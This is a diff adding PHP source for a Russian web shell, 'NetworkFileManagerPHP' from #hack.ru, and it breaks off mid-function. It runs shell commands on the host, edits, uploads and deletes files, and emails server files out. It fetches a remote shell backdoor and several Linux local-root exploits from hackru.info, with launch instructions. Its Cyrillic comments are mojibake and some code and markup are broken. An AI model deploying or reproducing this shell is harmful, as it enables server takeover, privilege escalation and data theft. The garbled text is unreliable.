+$port[31] = "MSG Authentication";
+$port[33] = "dsp (Display Support Protocol)";
+$port[37] = "time";
+$port[38] = "RAP (Route Access Protocol)";
+$port[39] = "rlp (Resource Location Protocol)";
+$port[41] = "Graphics";
+$port[42] = "nameserv, WINS";
+$port[43] = "whois, nickname";
+$port[44] = "MPM FLAGS Protocol";
+$port[45] = "Message Processing Module [recv]";
+$port[46] = "MPM [default send]";
+$port[47] = "NI FTP";
+$port[48] = "Digital Audit Daemon";
+$port[49] = "TACACS, Login Host Protocol";
+$port[50] = "RMCP, re-mail-ck";
+$port[53] = "DNS";
+$port[57] = "MTP (any private terminal access)";
+$port[59] = "NFILE";
+$port[60] = "Unassigned";
+$port[61] = "NI MAIL";
+$port[62] = "ACA Services";
+$port[63] = "whois++";
+$port[64] = "Communications Integrator (CI)";
+$port[65] = "TACACS-Database Service";
+$port[66] = "Oracle SQL*NET";
+$port[67] = "bootps (Bootstrap Protocol Server)";
+$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)";
+$port[69] = "Trivial File Transfer Protocol (tftp)";
+$port[70] = "Gopher";
+$port[71] = "Remote Job Service";
+$port[72] = "Remote Job Service";
+$port[73] = "Remote Job Service";
+$port[74] = "Remote Job Service";
+$port[75] = "any private dial out service";
+$port[76] = "Distributed External Object Store";
+$port[77] = "any private RJE service";
+$port[78] = "vettcp";
+$port[79] = "finger";
+$port[80] = "World Wide Web HTTP";
+$port[81] = "HOSTS2 Name Serve";
+$port[82] = "XFER Utility";
+$port[83] = "MIT ML Device";
+$port[84] = "Common Trace Facility";
+$port[85] = "MIT ML Device";
+$port[86] = "Micro Focus Cobol";
+$port[87] = "any private terminal link";
+$port[88] = "Kerberos, WWW";
+$port[89] = "SU/MIT Telnet Gateway";
+$port[90] = "DNSIX Securit Attribute Token Map";
+$port[91] = "MIT Dover Spooler";
+$port[92] = "Network Printing Protocol";
+$port[93] = "Device Control Protocol";
+$port[94] = "Tivoli Object Dispatcher";
+$port[95] = "supdup";
+$port[96] = "DIXIE";
+$port[98] = "linuxconf";
+$port[99] = "Metagram Relay";
+$port[100] = "[unauthorized use]";
+$port[101] = "HOSTNAME";
+$port[102] = "ISO, X.400, ITOT";
+$port[103] = "Genesis Point-to㝀ƭoi Tnset";
+$port[104] = "ACR-NEMA Digital Imag. & Comm. 300";
+$port[105] = "CCSO name server protocol";
+$port[106] = "poppassd";
+$port[107] = "Remote Telnet Service";
+$port[108] = "SNA Gateway Access Server";
+$port[109] = "POP2";
+$port[110] = "POP3";
+$port[111] = "Sun RPC Portmapper";
+$port[112] = "McIDAS Data Transmission Protocol";
+$port[113] = "Authentication Service";
+$port[115] = "sftp (Simple File Transfer Protocol)";
+$port[116] = "ANSA REX Notify";
+$port[117] = "UUCP Path Service";
+$port[118] = "SQL Services";
+$port[119] = "NNTP";
+$port[120] = "CFDP";
+$port[123] = "NTP";
+$port[124] = "SecureID";
+$port[129] = "PWDGEN";
+$port[133] = "statsrv";
+$port[135] = "loc-srv/epmap";
+$port[137] = "netbios-ns";
+$port[138] = "netbios-dgm (UDP)";
+$port[139] = "NetBIOS";
+$port[143] = "IMAP";
+$port[144] = "NewS";
+$port[150] = "SQL-NET";
+$port[152] = "BFTP";
+$port[153] = "SGMP";
+$port[156] = "SQL Service";
+$port[161] = "SNMP";
+$port[175] = "vmnet";
+$port[177] = "XDMCP";
+$port[178] = "NextStep Window Server";
+$port[179] = "BGP";
+$port[180] = "SLmail admin";
+$port[199] = "smux";
+$port[210] = "Z39.50";
+$port[213] = "IPX";
+$port[218] = "MPP";
+$port[220] = "IMAP3";
+$port[256] = "RAP";
+$port[257] = "Secure Electronic Transaction";
+$port[258] = "Yak Winsock Personal Chat";
+$port[259] = "ESRO";
+$port[264] = "FW1_topo";
+$port[311] = "Apple WebAdmin";
+$port[350] = "MATIP type A";
+$port[351] = "MATIP type B";
+$port[363] = "RSVP tunnel";
+$port[366] = "ODMR (On-Demand Mail Relay)";
+$port[371] = "Clearcase";
+$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)";
+$port[389] = "LDAP";
+$port[407] = "Timbuktu";
+$port[427] = "Server Location";
+$port[434] = "Mobile IP";
+$port[443] = "ssl";
+$port[444] = "snpp, Simple Network Paging Protocol";
+$port[445] = "SMB";
+$port[458] = "QuickTime TV/Conferencing";
+$port[468] = "Photuris";
+$port[475] = "tcpnethaspsrv";
+$port[500] = "ISAKMP, pluto";
+$port[511] = "mynet-as";
+$port[512] = "biff, rexec";
+$port[513] = "who, rlogin";
+$port[514] = "syslog, rsh";
+$port[515] = "lp, lpr, line printer";
+$port[517] = "talk";
+$port[520] = "RIP (Routing Information Protocol)";
+$port[521] = "RIPng";
+$port[522] = "ULS";
+$port[531] = "IRC";
+$port[543] = "KLogin, AppleShare over IP";
+$port[545] = "QuickTime";
+$port[548] = "AFP";
+$port[554] = "Real Time Streaming Protocol";
+$port[555] = "phAse Zero";
+$port[563] = "NNTP over SSL";
+$port[575] = "VEMMI";
+$port[581] = "Bundle Discovery Protocol";
+$port[593] = "MS-RPC";
+$port[608] = "SIFT/UFT";
+$port[626] = "Apple ASIA";
+$port[631] = "IPP (Internet Printing Protocol)";
+$port[635] = "RLZ DBase";
+$port[636] = "sldap";
+$port[642] = "EMSD";
+$port[648] = "RRP (NSI Registry Registrar Protocol)";
+$port[655] = "tinc";
+$port[660] = "Apple MacOS Server Admin";
+$port[666] = "Doom";
+$port[674] = "ACAP";
+$port[687] = "AppleShare IP Registry";
+$port[700] = "buddyphone";
+$port[705] = "AgentX for SNMP";
+$port[901] = "swat, realsecure";
+$port[993] = "s-imap";
+$port[995] = "s-pop";
+$port[1024] = "Reserved";
+$port[1025] = "network blackjack";
+$port[1062] = "Veracity";
+$port[1080] = "SOCKS";
+$port[1085] = "WebObjects";
+$port[1227] = "DNS2Go";
+$port[1243] = "SubSeven";
+$port[1338] = "Millennium Worm";
+$port[1352] = "Lotus Notes";
+$port[1381] = "Apple Network License Manager";
+$port[1417] = "Timbuktu Service 1 Port";
+$port[1418] = "Timbuktu Service 2 Port";
+$port[1419] = "Timbuktu Service 3 Port";
+$port[1420] = "Timbuktu Service 4 Port";
+$port[1433] = "Microsoft SQL Server";
+$port[1434] = "Microsoft SQL Monitor";
+$port[1477] = "ms-sna-server";
+$port[1478] = "ms-sna-base";
+$port[1490] = "insitu-conf";
+$port[1494] = "Citrix ICA Protocol";
+$port[1498] = "Watcom-SQL";
+$port[1500] = "VLSI License Manager";
+$port[1503] = "T.120";
+$port[1521] = "Oracle SQL";
+$port[1522] = "Ricardo North America License Manager";
+$port[1524] = "ingres";
+$port[1525] = "prospero";
+$port[1526] = "prospero";
+$port[1527] = "tlisrv";
+$port[1529] = "oracle";
+$port[1547] = "laplink";
+$port[1604] = "Citrix ICA, MS Terminal Server";
+$port[1645] = "RADIUS Authentication";
+$port[1646] = "RADIUS Accounting";
+$port[1680] = "Carbon Copy";
+$port[1701] = "L2TP/LSF";
+$port[1717] = "Convoy";
+$port[1720] = "H.323/Q.931";
+$port[1723] = "PPTP control port";
+$port[1731] = "MSICCP";
+$port[1755] = "Windows Media .asf";
+$port[1758] = "TFTP multicast";
+$port[1761] = "cft-0";
+$port[1762] = "cft-1";
+$port[1763] = "cft-2";
+$port[1764] = "cft-3";
+$port[1765] = "cft-4";
+$port[1766] = "cft-5";
+$port[1767] = "cft-6";
+$port[1808] = "Oracle-VP2";
+$port[1812] = "RADIUS server";
+$port[1813] = "RADIUS accounting";
+$port[1818] = "ETFTP";
+$port[1973] = "DLSw DCAP/DRAP";
+$port[1985] = "HSRP";
+$port[1999] = "Cisco AUTH";
+$port[2001] = "glimpse";
+$port[2049] = "NFS";
+$port[2064] = "distributed.net";
+$port[2065] = "DLSw";
+$port[2066] = "DLSw";
+$port[2106] = "MZAP";
+$port[2140] = "DeepThroat";
+$port[2301] = "Compaq Insight Management Web Agents";
+$port[2327] = "Netscape Conference";
+$port[2336] = "Apple UG Control";
+$port[2427] = "MGCP gateway";
+$port[2504] = "WLBS";
+$port[2535] = "MADCAP";
+$port[2543] = "sip";
+$port[2592] = "netrek";
+$port[2727] = "MGCP call agent";
+$port[2628] = "DICT";
+$port[2998] = "ISS Real Secure Console Service Port";
+$port[3000] = "Firstclass";
+$port[3001] = "Redwood Broker";
+$port[3031] = "Apple AgentVU";
+$port[3128] = "squid";
+$port[3130] = "ICP";
+$port[3150] = "DeepThroat";
+$port[3264] = "ccmail";
+$port[3283] = "Apple NetAssitant";
+$port[3288] = "COPS";
+$port[3305] = "ODETTE";
+$port[3306] = "mySQL";
+$port[3389] = "RDP Protocol (Terminal Server)";
+$port[3521] = "netrek";
+$port[4000] = "icq, command-n-conquer and shell nfm";
+$port[4321] = "rwhois";
+$port[4333] = "mSQL";
+$port[4444] = "KRB524";
+$port[4827] = "HTCP";
+$port[5002] = "radio free ethernet";
+$port[5004] = "RTP";
+$port[5005] = "RTP";
+$port[5010] = "Yahoo! Messenger";
+$port[5050] = "multimedia conference control tool";
+$port[5060] = "SIP";
+$port[5150] = "Ascend Tunnel Management Protocol";
+$port[5190] = "AIM";
+$port[5500] = "securid";
+$port[5501] = "securidprop";
+$port[5423] = "Apple VirtualUser";
+$port[5555] = "Personal Agent";
+$port[5631] = "PCAnywhere data";
+$port[5632] = "PCAnywhere";
+$port[5678] = "Remote Replication Agent Connection";
+$port[5800] = "VNC";
+$port[5801] = "VNC";
+$port[5900] = "VNC";
+$port[5901] = "VNC";
+$port[6000] = "X Windows";
+$port[6112] = "BattleNet";
+$port[6502] = "Netscape Conference";
+$port[6667] = "IRC";
+$port[6670] = "VocalTec Internet Phone, DeepThroat";
+$port[6699] = "napster";
+$port[6776] = "Sub7";
+$port[6970] = "RTP";
+$port[7007] = "MSBD, Windows Media encoder";
+$port[7070] = "RealServer/QuickTime";
+$port[7777] = "cbt";
+$port[7778] = "Unreal";
+$port[7648] = "CU-SeeMe";
+$port[7649] = "CU-SeeMe";
+$port[8000] = "iRDMI/Shoutcast Server";
+$port[8010] = "WinGate 2.1";
+$port[8080] = "HTTP";
+$port[8181] = "HTTP";
+$port[8383] = "IMail WWW";
+$port[8875] = "napster";
+$port[8888] = "napster";
+$port[8889] = "Desktop Data TCP 1";
+$port[8890] = "Desktop Data TCP 2";
+$port[8891] = "Desktop Data TCP 3: NESS application";
+$port[8892] = "Desktop Data TCP 4: FARM product";
+$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application";
+$port[8894] = "Desktop Data TCP 6: COAL application";
+$port[9000] = "CSlistener";
+$port[10008] = "cheese worm";
+$port[11371] = "PGP 5 Keyserver";
+$port[13223] = "PowWow";
+$port[13224] = "PowWow";
+$port[14237] = "Palm";
+$port[14238] = "Palm";
+$port[18888] = "LiquidAudio";
+$port[21157] = "Activision";
+$port[22555] = "Vocaltec Web Conference";
+$port[23213] = "PowWow";
+$port[23214] = "PowWow";
+$port[23456] = "EvilFTP";
+$port[26000] = "Quake";
+$port[27001] = "QuakeWorld";
+$port[27010] = "Half-Life";
+$port[27015] = "Half-Life";
+$port[27960] = "QuakeIII";
+$port[30029] = "AOL Admin";
+$port[31337] = "Back Orifice";
+$port[32777] = "rpc.walld";
+$port[45000] = "Cisco NetRanger postofficed";
+$port[32773] = "rpc bserverd";
+$port[32776] = "rpc.spray";
+$port[32779] = "rpc.cmsd";
+$port[38036] = "timestep";
+$port[40193] = "Novell";
+$port[41524] = "arcserve discovery";
+
+/* îïöèè êîí÷èëèñü, ïîø¸ë äèçàéí */
+$meta = " ";
+$style=<<
+style;
+
+/* ñòèëè òàáëèö */
+$style1=<<
+function ins(text){
+document.hackru.chars_de.value+=text;
+document.hackru.chars_de.focus();
+}
+
+ins;
+
+/* Ôîðìà îòïðàâêè*/
+$form = "
+
+";
+
+
+
+/* Ôîðìà HTML */
+$HTML=<<
+
+$title $ver
+$meta
+$style
+$ins
+
+
+
+
+NetworkFileManagerPHP (© #hack.ru) Âåðñèÿ: $ver
+Ñêðèïò äëÿ àäìèíèñòðèðîâàíèÿ ñâîåãî ñàéòà è íå òîëüêî...
+
+Ïîìîùü ïî ñêðèïòó:
+
+
+
+
+
+
+
+
+Ñåòåâîé ñîôò:
+
+
+
+
+
+
+
+Äîñòóï ê ýêñïëîéòàì:
+
+
+
+Õàêåðñêèé ñîôò:
+
+
+
+
+
+
+Ñîôò íàêàçàíèÿ:
+
+
+
+
+$sob ID:$id
+
+
+
+
+
+
+
+
+
+
+html;
+/* çàäàåì ðàíäîìíûå íàçâàíèÿ ôàéëîâ àðõèâàöèè*/
+$CHARS = "abcdefghijklmnopqrstuvwxyz";
+for ($i=0; $i<6; $i++) $pass .= $CHARS[rand(0,strlen($CHARS)-1)];
+
+/* çàäàåì ïóòü ê ñàéòó, ãäå ëåæàò ïóáëè÷íûå ýêñïëîéòû*/
+$public_site = "http://hackru.info/adm/exploits/public_exploits/";
+/* $public_site = "http://localhost/adm/public_exploits/"; */
+/* Ïóáëè÷íûå ýêñïëîéòû */
+$public[1] = "s"; // øåë
+$title_ex[1] = "
+ bindtty.c - óäàëåííûé øåë ñ ïðàâàìè apache, äàííûé áàêäîð óæå ñêîìïèëèðîâàí è íàñòðîåí íà 4000 ïîðò
+Çàïóñê: ./s
+ Êîíåêòèòñÿ ëó÷øå òåëíåò êëèåíòîì ñàìûå ëó÷øèå ýòî putty è SecureCRT
+";
+$public[2] = "m"; // ìðåìàï
+$title_ex[2] = "
+ MREMAP - ïîçâîëÿåò ïîëó÷èòü ëîêàëüíî ïðèâèëåãèè ROOT, èñïîëüçóåò ïåðåïîëíåíèå ïàìÿòè.
+Çàïóñê: ./m
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$public[3] = "p"; // ptrace
+$title_ex[3] = "
+ PTRACE - ñòàðûé äîáðûé ýêñïëîéò, ðàáîòàåò òàêæå êàê è mremap
+Çàïóñê: ./p
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$public[4] = "psyBNC2.3.2-4.tar.gz"; // psybnc
+$title_ex[4] = "
+ psyBNC - ïîñëåäíÿÿ âåðñèÿ, ïîïóëÿðíîãî áàóí÷åðà äëÿ IRC
+Ðàçàðõèâàöèÿ: tar -zxf psyBNC2.3.2-4.tar.gz // ïîÿâèòñÿ ïàïêà psybnc
+Âõîä è çàïóñê: make // óñòàíàâëèâàåì íà äàííóþ îñü psybnc // ./psybnc // ìîæíî ïîìåíÿòü êîíôèã ñ ïîìîùüþ nfm
+ Ìîæíî çàïóñêàòü ñ ïðàâàìè àïà÷à!!! Òîëüêî ñìîòðèòå ÷òîáû íå áûëî ôàåðâîëà!!!
+";
+/* Ïðèâàòíûå ýêñïëîéòû */
+$private[1] = "brk"; // localroot root linux 2.4.*
+$title_exp[1] = "
+ localroot root linux 2.4.* - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ðàáîòàåò òàêæå êàê è mremap
+Çàïóñê: ./brk
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[2] = "dupescan"; // Glftpd DupeScan Local Exploit by RagnaroK
+$title_exp[2] = "
+ lGlftpd DupeScan Local Exploit - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ãäå çàïóùåí ñåðâèñ Glftpd
+Èìååòñÿ 2 ôàéëà: dupescan è glftpd Äëÿ ïîëó÷åíèÿ root ïðàâ, íåîáõîäèìî çàïèñàòü ôàéë dupescan â äåðèêòîðèþ
+/glftpd/bin/ êîìàíäîé cp dupescan /glftpd/bin/ , ïîñëå ÷åãî èç bash øåëà çàïóñòèòü ./glftpd . Ðóò âàì îáåñïå÷åí!!!
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[3] = "glftpd";
+$title_exp[3] = "
+ lGlftpd DupeScan Local Exploit - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ãäå çàïóùåí ñåðâèñ Glftpd
+Âòîðàÿ ÷àñòü ýêñïëîéòà
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[4] = "sortrace";
+$title_exp[4] = "
+ Traceroute v1.4a5 exploit by sorbo - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ÷åðåç ñåðâèñ traceroute
+Çàïóñê: ./sortrace
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[5] = "root";
+$title_exp[5] = "
+ localroot root linux 2.4.* - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ðàáîòàåò òàêæå êàê è ìðåìàï
+Çàïóñê: ./root
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[6] = "sxp";
+$title_exp[6] = "
+ Sendmail 8.11.x exploit localroot - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ðàáîòàåò òàêæå êàê è ìðåìàï
+Çàïóñê: ./sxp
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[7] = "ptrace_kmod";
+$title_exp[7] = "
+ localroot root linux 2.4.* - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ðàáîòàåò òàêæå êàê è ìðåìàï, èñïîëüçóåò áàãó ÷åðåç ptarce + kmod
+Çàïóñê: ./ptrace_kmod
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+$private[8] = "mr1_a";
+$title_exp[8] = "
+ localroot root linux 2.4.* - ïðèâàòíûé ñïëîéò, äàþùèé ROOT íà ëèíóêñîïîäîáíûõ òà÷êàõ, ðàáîòàåò òàêæå êàê è ìðåìàï, ðàáîòàåò òàêæå êàê è ìðåìàï
+Çàïóñê: ./mr1_a
+ Çàïóñêàòü òîëüêî èç ïîä bash øåëà!!!
+";
+/* çàäàåì ïóòü ê ñàéòó, ãäå ëåæàò ïðèâàòíûå ýêñïëîéòû */
+$private_site = "http://hackru.info/adm/exploits/private_exploits/";
+endif;
+
+/* Äàëüøå íè÷åãî íå èçìåíÿòü âî èçáåæàíèè íåðàáîòîñïîñîáíîñòè ñêðèïòà */
+global $action,$tm,$cm;
+
+function getdir() {
+ global $gdir,$gsub,$i,$j,$REMOTE_ADDR,$PHP_SELF;
+ $st = getcwd();
+ $st = str_replace("\\","/",$st);
+ $j = 0;
+ $gdir = array();
+ $gsub = array();
+ print(" ");
+ for ($i=0;$i<=(strlen($st)-1);$i++) {
+ if ($st[$i] != "/") {
+ $gdir[$j] = $gdir[$j].$st[$i];
+ $gsub[$j] = $gsub[$j].$st[$i];
+ } else {
+ $gdir[$j] = $gdir[$j]."/";
+ $gsub[$j] = $gsub[$j]."/";
+ $gdir[$j+1] = $gdir[$j];
+ $j++;
+ }
+ }
+ print(" Òåêóùàÿ äèðåêòîðèÿ: ");
+ for ($i = 0;$i<=$j;$i++) print("$gsub[$i] ");
+ $free = tinhbyte(diskfreespace("./"));
+ print(" Äîñòóïíîå äèñêîâîå ïðîñòðàíñòâî : $free ");
+ print(" ".exec("uname -a")." ");
+ print(" Âàø IP: $REMOTE_ADDR $HTTP_X_FORWARDED_FOR ");
+ print(" Èíôà î æåëåçå:(GHz) ".exec("cat /proc/cpuinfo | grep GHz")." ");
+ print(" Èíôà î æåëåçå:(MHz) ".exec("cat /proc/cpuinfo | grep MHz")." ");
+ print(" ".exec("id")."
");
+
+}
+
+function tinhbyte($filesize) {
+ if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
+ elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
+ elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
+ else { $filesize = $filesize . ""; }
+ return $filesize;
+}
+
+function permissions($mode) {
+ $perms = ($mode & 00400) ? "r" : "-";
+ $perms .= ($mode & 00200) ? "w" : "-";
+ $perms .= ($mode & 00100) ? "x" : "-";
+ $perms .= ($mode & 00040) ? "r" : "-";
+ $perms .= ($mode & 00020) ? "w" : "-";
+ $perms .= ($mode & 00010) ? "x" : "-";
+ $perms .= ($mode & 00004) ? "r" : "-";
+ $perms .= ($mode & 00002) ? "w" : "-";
+ $perms .= ($mode & 00001) ? "x" : "-";
+ return $perms;
+
+
+}
+
+function readdirdata($dir) {
+ global $action,$files,$dirs,$tm,$supsub,$thum,$style3,$style4,$PHP_SELF;
+ $files = array();
+ $dirs= array();
+ $open = @opendir($dir);
+
+ if (!@readdir($open) or !$open ) echo "";
+ else {
+ $open = opendir($dir);
+ while ($file = readdir($open)) {
+ $rec = $file;
+ $file = $dir."/".$file;
+ if (is_file($file)) $files[] = $rec;
+ }
+ sort($files);
+ $open = opendir($dir);
+ $i=0;
+ while ($dire = readdir($open)) {
+ if ( $dire != "." ) {
+ $rec = $dire;
+ $dire = $dir."/".$dire;
+ if (is_dir($dire)) {
+ $dirs[] = $rec;
+ $i++;
+ }
+ }
+ }
+ sort($dirs);
+ print("Èìÿ Ðàçìåð Äàòà ñîçäàíèÿ Òèï Ïðàâà äîñòóïà Êîììåíòàðèè
");
+ for ($i=0;$i
+
+ Çàãðóçèòü
+ Óäàëèòü
+
+
+ Íîâàÿ äèðåêòîðèÿ
+ Àðõèâàöèÿ ïàïêè
+
";
+ else $action = "";
+ print("$name $size $time $type $perm $action
");
+ }
+ }
+ for ($i=0;$i
+ Ïðîñìîòð
+ Ñêà÷êà
+ Íà ìûëî
+ Êîïèðîâàòü
+
";
+ if ( $owner == "nobody" ) $act .= "";
+ print("$files[$i] $size $time $type $perm $act
");
+ }
+ }
+}
+
+function html() {
+global $ver,$meta,$style;
+echo "
+
+
+NetworkFileManagerPHP
+
+
+";
+}
+
+# ïðîñìîòð ôàéëà
+function viewfile($dir,$file) {
+
+ $buf = explode(".", $file);
+ $ext = $buf[sizeof($buf)-1];
+ $ext = strtolower($ext);
+ $dir = str_replace("\\","/",$dir);
+ $fullpath = $dir."/".$file;
+
+ switch ($ext) {
+ case "jpg":
+
+ header("Content-type: image/jpeg");
+ readfile($fullpath);
+ break;
+ case "jpeg":
+
+ header("Content-type: image/jpeg");
+ readfile($fullpath);
+ break;
+ case "gif":
+
+ header("Content-type: image/gif");
+ readfile($fullpath);
+ break;
+
+ case "png":
+
+ header("Content-type: image/png");
+ readfile($fullpath);
+ break;
+ default:
+
+ case "avi":
+ header("Content-type: video/avi");
+ readfile($fullpath);
+
+ break;
+ default:
+
+ case "mpeg":
+ header("Content-type: video/mpeg");
+ readfile($fullpath);
+ break;
+ default:
+
+ case "mpg":
+ header("Content-type: video/mpg");
+ readfile($fullpath);
+ break;
+ default:
+
+ html();
+ chdir($dir);
+ getdir();
+
+ echo " ";
+ $fp = fopen($fullpath , "r");
+ while (!feof($fp)) {
+ $char = fgetc($fp);
+ $st .= $char;
+ }
+
+ $st = str_replace("&", "&", $st);
+ $st = str_replace("<", "<", $st);
+ $st = str_replace(">", ">", $st);
+
+ $tem = "$st
";
+ echo $tem;
+ fclose($fp);
+ break;
+ }
+}
+
+# îòïðàâêà ôàéëà íà ìûëî
+function download_mail($dir,$file) {
+ global $action,$tm,$cm,$demail, $REMOTE_ADDR, $HTTP_HOST, $PATH_TRANSLATED;
+ $buf = explode(".", $file);
+ $dir = str_replace("\\","/",$dir);
+ $fullpath = $dir."/".$file;
+ $size = tinhbyte(filesize($fullpath));
+ $fp = fopen($fullpath, "rb");
+ while(!feof($fp))
+
+ $attachment .= fread($fp, 4096);
+ $attachment = base64_encode($attachment);
+ $subject = "NetworkFileManagerPHP ($file)";
+
+ $boundary = uniqid("NextPart_");
+ $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\"";
+
+ $info = "---==== Ñîîáùåíèå îò ($demail)====---\n\n";
+ $info .= "IP:\t$REMOTE_ADDR\n";
+ $info .= "HOST:\t$HTTP_HOST\n";
+ $info .= "URL:\t$HTTP_REFERER\n";
+ $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
+ $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
+
+ $send_to = "$demail";
+
+ $send = mail($send_to, $subject, $info, $headers);
+
+ if($send == 2)
+ echo "
+
+
+ Ñïàñèáî!!!Ôàéë $file îòïðàâëåí âàì íà $demail .
";
+
+fclose($fp);
+ }
+
+
+
+function copyfile($dir,$file) {
+ global $action,$tm;
+ $fullpath = $dir."/".$file;
+ echo "Èìÿ ôàéëà : $file ñêîïèðîâàí â äåðèêòîðèþ $dir
";
+ if (!copy($file, $file.'.bak')){
+ echo (" íåìîãó ñêîïèðîâàòü ôàéë $file");
+ }
+}
+
+
+# ðåäàêòèðîâàíèå ôàéëà
+function editfile($dir,$file) {
+ global $action,$datar;
+ $fullpath = $dir."/".$file;
+ chdir($dir);
+ getdir();
+ echo " ";
+ $fp = fopen($fullpath , "r");
+ while (!feof($fp)) {
+ $char = fgetc($fp);
+ $st .= $char;
+ }
+ $st = str_replace("&", "&", $st);
+ $st = str_replace("<", "<", $st);
+ $st = str_replace(">", ">", $st);
+ $st = str_replace('"', """, $st);
+ echo "$st
";
+ $datar = $S1;
+
+}
+
+# çàïèñü ôàéëà
+function savefile($dir,$file) {
+ global $action,$S1,$tm;
+ $fullpath = $dir."/".$file;
+ $fp = fopen($fullpath, "w");
+ $S1 = stripslashes($S1);
+ fwrite($fp,$S1);
+ fclose($fp);
+ chdir($dir);
+ echo "Ôàéë $fullpath îòðåäàêòèðîâàí.
";
+ getdir();
+ readdirdata($tm);
+}
+
+# óäàëåíèå äåðèêòîðèè
+function deletef($dir)
+{
+ global $action,$tm,$fi;
+ $tm = str_replace("\\\\","/",$tm);
+ $link = $tm."/".$fi;
+ unlink($link);
+ chdir($tm);
+ getdir();
+ readdirdata($tm);
+}
+
+# çàãðóçêà ôàéëà
+function uploadtem() {
+ global $file,$tm,$thum,$PHP_SELF,$dir,$style_button;
+ echo " ";
+}
+
+function upload() {
+ global $HTTP_POST_FILES,$tm;
+ echo $set;
+ copy($HTTP_POST_FILES["userfile"][tmp_name], $tm."/".$HTTP_POST_FILES["userfile"][name]) or die("Íå ìîãó çàãðóçèòü ôàéë".$HTTP_POST_FILES["userfile"][name]);
+ echo "Ôàéë ".$HTTP_POST_FILES["userfile"][name]." óñïåøíî çàãðóæåí.
";
+ @unlink($userfile);
+ chdir($tm);
+ getdir();
+ readdirdata($tm);
+}
+
+# çàêà÷êà ýêñïëîéòîâ
+function upload_exploits() {
+ global $PHP_SELF,$style_button, $public_site, $private_site, $public, $title_ex, $style_open, $private, $title_exp;
+
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+ echo "
+ ";
+}
+
+
+# ñîçäàíèå íîâîé äåðèêòîðèè
+function newdir($dir) {
+ global $tm,$nd;
+ print(" ");
+}
+
+function cdir($dir) {
+ global $newd,$tm;
+ $fullpath = $dir."/".$newd;
+ if (file_exists($fullpath)) @rmdir($fullpath);
+ if (@mkdir($fullpath,0777)) {
+ echo " ";
+ } else {
+ echo "Îøèáêà â ñîçäàíèè äåðèêòîðèè.
";
+ }
+ chdir($tm);
+ getdir();
+ readdirdata($tm);
+}
+// ñîçäàíèå äååêðèòîðèè Files äëÿ çàãðóçêè ôàéëîâ
+function downfiles() {
+ global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2, $gdir,$gsub,$i,$j,$REMOTE_ADDR;
+$st = getcwd();
+ $st = str_replace("\\","/",$st);
+ $j = 0;
+ $gdir = array();
+ $gsub = array();
+ print(" ");
+ for ($i=0;$i<=(strlen($st)-1);$i++) {
+ if ($st[$i] != "/") {
+ $gdir[$j] = $gdir[$j].$st[$i];
+ $gsub[$j] = $gsub[$j].$st[$i];
+ } else {
+ $gdir[$j] = $gdir[$j]."/";
+ $gsub[$j] = $gsub[$j]."/";
+ $gdir[$j+1] = $gdir[$j];
+ $j++;
+ }
+ }
+print(" Ïóòü: ");
+ for ($i = 0;$i<=$j;$i++) print("$gsub[$i] ");
+print("
");
+
+echo " ";
+
+}
+
+# óäàëåíèå äåðèêòîðèè
+function deldir() {
+ global $dd,$tm;
+ $fullpath = $tm."/".$dd;
+ echo "";
+ rmdir($fullpath);
+ chdir($tm);
+ getdir();
+ readdirdata($tm);
+}
+
+# àðõèâàöèÿ äèðåêòîðèè
+function arhiv() {
+ global $tar,$tm,$pass;
+ $fullpath = $tm."/".$tar;
+
+ echo "
+
+ Äåðèêòîðèÿ $fullpath ".exec("tar -zc $fullpath -f $pass.tar.gz")."óïàêîâàíà â ôàéë $pass.tar.gz
";
+
+}
+
+function down($dir) {
+ global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2;
+ ignore_user_abort(1);
+ set_time_limit(0);
+echo "
+Çàãðóçêà ôàéëîâ
